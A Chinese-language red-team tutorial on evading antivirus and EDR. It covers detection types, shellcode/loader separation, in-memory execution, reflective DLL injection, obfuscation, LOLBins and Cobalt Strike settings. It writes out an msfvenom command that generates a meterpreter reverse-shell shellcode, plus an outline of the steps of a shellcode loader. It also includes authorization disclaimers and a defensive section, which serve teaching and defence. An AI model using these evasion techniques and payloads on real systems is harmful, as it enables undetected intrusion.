教程
🛡️

网络安全

Web 安全、渗透测试、密码学与安全合规的系统化教程。

免杀基础:让工具与木马绕过杀软 / EDR

收尾内网渗透——讲清杀软/EDR 的两类检测(静态特征码 vs 动态行为)、为什么 msfvenom 编码不算真免杀、分离加载与内存执行(反射 DLL 注入)的思路、混淆加密入门,以及与 MSF/CS 配合的免杀打法。

· 更新于 2026-07-19 阅读量 --

前面四篇你有了完整的内网能力:信息收集、提权、横向、域渗透。但有个现实问题——你生成的 MSF 木马、CS Beacon,在目标内网的**杀软(AV)/终端检测响应(EDR)**面前,常常一运行就被秒杀。这一篇讲”免杀(AV Evasion)“的入门思路:杀软怎么发现你、为什么简单编码没用、以及真正有效的方向在哪。

本文仅用于你对自有或已授权目标的防御研究与红队演练。向未授权系统投放免杀木马属违法;内容用于理解检测原理与加固防御。

杀软怎么”看”你:两类检测

要绕过,先懂它怎么检。杀软/EDR 主要两类手段:

  • 静态检测(特征码):扫描文件的字节特征。比如 msfvenom 生成的 exe 有固定 shellcode 片段、固定字符串,杀软库里一比对就命中。这是最老也最易被绕过的层。
  • 动态检测(行为):运行时不只看文件,看行为——进程是否突然起 cmd、word 是否拉起 powershell、是否有反射加载、是否有可疑网络连接。EDR 尤其强在这层,能抓”无文件攻击”。

所以”免杀”要同时考虑:文件落地时不被特征命中(静态),运行时不被行为规则抓(动态)。

为什么 msfvenom 编码不算真免杀

很多人以为 msfvenom -e shikata_ga_nai -i 5 加个编码就安全了。早年或许,现在基本没用:

  • 编码只是把 shellcode 做了异或/变换,解码器本身又成了新特征,杀软认得解码器。
  • 现代杀软会模拟执行(在沙箱里跑一下),解码后露出真面目照样被杀。
  • 编码不改行为,动态检测(word 起 powershell 拉 exe)照抓。

结论:编码 ≠ 免杀,它只能绕最弱的静态规则,对 EDR 几乎无效。别再迷信 -e

真方向一:分离加载(Shellcode 与加载器分离)

有效思路是把”恶意部分”和”运行载体”分开:

  • shellcode(纯恶意指令):用 msfvenom -f raw 生成原始 shellcode,不打包成 exe,避免 exe 特征。
  • 加载器(你自己的正常程序):写一个普通的、无特征的程序(C/Go/Rust/C#),运行时从网络/文件读取 shellcode,在内存里解密并执行,不落盘或只落加密壳。

因为加载器是你自己写的、没有公开工具特征,静态检测难命中;配合内存执行,动态检测也要看具体行为规则。这是现代免杀的主流方向之一。

# 概念示意(非完整代码)
# 1) 生成 raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=x LPORT=y -f raw -o shellcode.bin
# 2) 自己写加载器:读 shellcode.bin → VirtualAlloc → 写内存 → 改可执行权限 → 执行
# 3) 加载器本身无 MSF 特征,杀软难认

真方向二:内存执行与反射 DLL 注入

更进一步是完全不落盘

  • 反射 DLL 注入(Reflective DLL Injection):把 DLL 直接注入目标进程内存并自己”反射”加载,磁盘上不出现该 DLL 文件,规避基于文件的扫描。
  • 无文件攻击(Fileless):payload 只在内存里,重启即失,但难被传统 AV 抓。
  • CS 的 Beacon、很多 C2 框架默认就走内存加载,比 MSF 的裸 exe 隐蔽。

这解释了为什么前面 CS 比”裸 msfvenom exe”更难杀——它的执行模型更现代。

真方向三:混淆与加密

  • 加密 shellcode:加载器里 shellcode 是加密的,运行时才解密到内存,静态扫不到明文。
  • API 混淆/间接调用:不直接调敏感 Windows API(VirtualAllocCreateRemoteThread),而是运行时解析/间接调用,绕过行为规则里的 API 序列特征。
  • 加壳(Packers):对 exe 加壳,但主流壳特征也被杀软记了,效果有限。
  • 合法工具滥用(LOLBins):用系统自带的”合法”程序(如 rundll32certutilbitsadmin)做下载/执行,混在正常的系统行为里,是 EDR 难分辨的一类。

与框架配合的入门打法

  • MSF:用 msfvenom -f raw 出 shellcode,配自己写的加载器;或用 evasion 模块(MSF 自带的规避模块,效果有限但比裸 exe 好)。
  • CS:用 Artifacts / Malleable C2 改 Beacon 的流量与内存特征;用 sleep/jitter 降心跳;用 blockdlls/asperate 等选项干扰 EDR 注入。
  • 整体:免杀是”持续对抗”——你改特征,杀软更新库,所以要持续测试(在自己装了 Defender/EDR 的靶机上验证能不能过)。

防御视角(同样关键)

理解免杀也是为了更好防御:

  • EDR 行为检测比传统 AV 特征重要得多,优先部署能看进程链/行为的 EDR。
  • 应用白名单(AppLocker/WDAC):只允许签名程序运行,直接废掉大部分自制加载器。
  • 攻击面收敛:禁用宏、限制 PowerShell、关不必要的 LOLBins。
  • 内存扫描:现代 EDR 会扫进程内存里的注入迹象。

常见新手坑

  • 迷信编码-e shikata_ga_nai 对现代 EDR 基本无效,别浪费时间。
  • 只测静态不测动态:自己机器没杀软测”能跑”就以为免杀,一到有 EDR 的目标就死。
  • 裸 exe 直投:msfvenom 默认 exe 特征太明显,至少用 raw shellcode + 自制加载器。
  • 以为一劳永逸:免杀是持续对抗,杀软更新库后昨天的手法今天可能失效。

进阶:免杀的测试方法论

免杀不是”改一版就完”,而是持续测试、持续对抗。一套入门测试方法:

  1. 建靶机:在自己虚拟机里装 Windows + Windows Defender(或申请 EDR 试用),作为”检测标尺”。
  2. 生成样本:用你的手法(raw shellcode + 自制加载器)生成样本,拷到靶机。
  3. 观察结果:Defender 报不报?报在哪个阶段(落盘/运行/行为)?记下特征。
  4. 迭代:针对被报的点改——落盘被报就改加载方式(内存执行),行为被报就改 API 调用序列/加 sleep 降速。
  5. 多引擎验证:用 VirusTotal(谨慎,会上传样本)或本地多引擎扫,看覆盖情况。
  6. 不过度依赖单一手法:杀软更新库后昨天的手法可能失效,保持多种路径。

记住:你自己的靶机是唯一的合法测试场。把样本丢到公网扫描站或他人系统,本身就是违规。

实战:从 raw shellcode 到加载器的思路示例

给一个”不用 msfvenom 裸 exe,改用分离加载”的入门思路(概念级,靶场自测):

# 1) 生成 raw shellcode(无 exe 特征)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=x LPORT=y -f raw -o sc.bin

# 2) 自己写一个无特征的加载器(C 示例思路,非完整代码)
#   - 读 sc.bin 到内存缓冲区
#   - VirtualAlloc 申请可执行内存
#   - 拷贝 shellcode 过去,改保护属性为可执行
#   - 用 CreateThread/函数指针执行
# 编译成普通 exe,无 MSF 特征

# 3) 在装了 Defender 的靶机测试:裸 msfvenom exe 被杀,自制加载器可能过
# 4) 若还被杀,加:shellcode 加密(运行时解密)、sleep 降速、API 间接调用

这个思路的核心是把”恶意特征”从文件里移走——shellcode 是加密/分离存放的,加载器是你自己写的、没公开特征的正常程序。配合内存执行,静态扫描难命中。但再次强调:这仍可能被 EDR 的行为检测抓到(如异常的内存分配+执行),所以免杀是”特征+行为”双层对抗,没有终点。

免杀的”度”:入门者该投入多少

最后聊一个现实问题:免杀是门很深的学问,入门者要不要深钻?建议:

  • 先跑通工作流,再碰免杀:本系列前几篇的 MSF/CS 基础、内网横向,才是主干。免杀是”让主干在真实环境走得远”的增强,不是入门前提。先把”打进去、控住、横向”练熟。
  • 理解原理胜过背手法:知道”静态/动态检测""分离加载""内存执行”这些原理,比背某个加载器代码更有用——因为手法会变,原理不变。
  • 在合法靶机里练:装 Defender 的虚拟机是你唯一的测试场,别把样本丢公网或他人系统。
  • 知道边界:真实对抗里免杀是持续对抗,专业红队有专门工具链。入门阶段理解”为什么裸 exe 会被杀、基本方向在哪”就够了,不必追求”过所有 EDR”。

把免杀当”进阶选修”,而非”入门必修”,学习曲线会平滑很多。

常见误区

  • “能过自己裸机就免杀”:自己没装 AV 当然能跑,要到有 Defender/EDR 的靶机验证。
  • “编码一次永逸”:编码对现代检测基本无效,别浪费时间。
  • “裸 exe 直投”:msfvenom 默认 exe 特征太明显,至少用 raw shellcode + 加载器。
  • “免杀是一次性工作”:杀软持续更新,免杀要持续测试迭代。

自测题

  1. 杀软的”静态检测”和”动态检测”分别看什么?为什么 EDR 更难绕?
  2. 为什么 msfvenom 的编码(shikata_ga_nai)不算真免杀?
  3. 分离加载与内存执行(反射注入)为什么比裸 exe 更有效?
  4. 你应该在什么环境里测试免杀?为什么不能丢公网扫描站?

这一篇你该记住的

  • 杀软两类检测:静态特征码(扫文件)与动态行为(看进程链/内存),EDR 强在后者。
  • 编码 ≠ 免杀shikata_ga_nai 只绕最弱静态规则,模拟执行/行为检测照样抓。
  • 有效方向:分离加载(raw shellcode + 自制无特征加载器)、内存执行/反射注入(不落盘)、混淆加密/LOLBins
  • 配合框架:MSF 出 raw shellcode 配加载器;CS 用 Artifacts/Malleable C2 改特征。
  • 防御侧:EDR 行为检测、应用白名单、攻击面收敛、内存扫描是关键。

到这里,内网渗透五章讲完:从内网地图与信息收集、权限提升、横向移动、域渗透(Kerberos/票据),到免杀基础。结合前面的 Metasploit 基础(5 章)Cobalt Strike 基础(4 章),你已经有了从”外网打进去”到”内网横向蔓延、拿下域控”的完整红队入门能力。务必记住:这些技术只应在自有或书面授权的范围内使用,真实对抗的价值在于帮防守方发现盲区、补齐防线。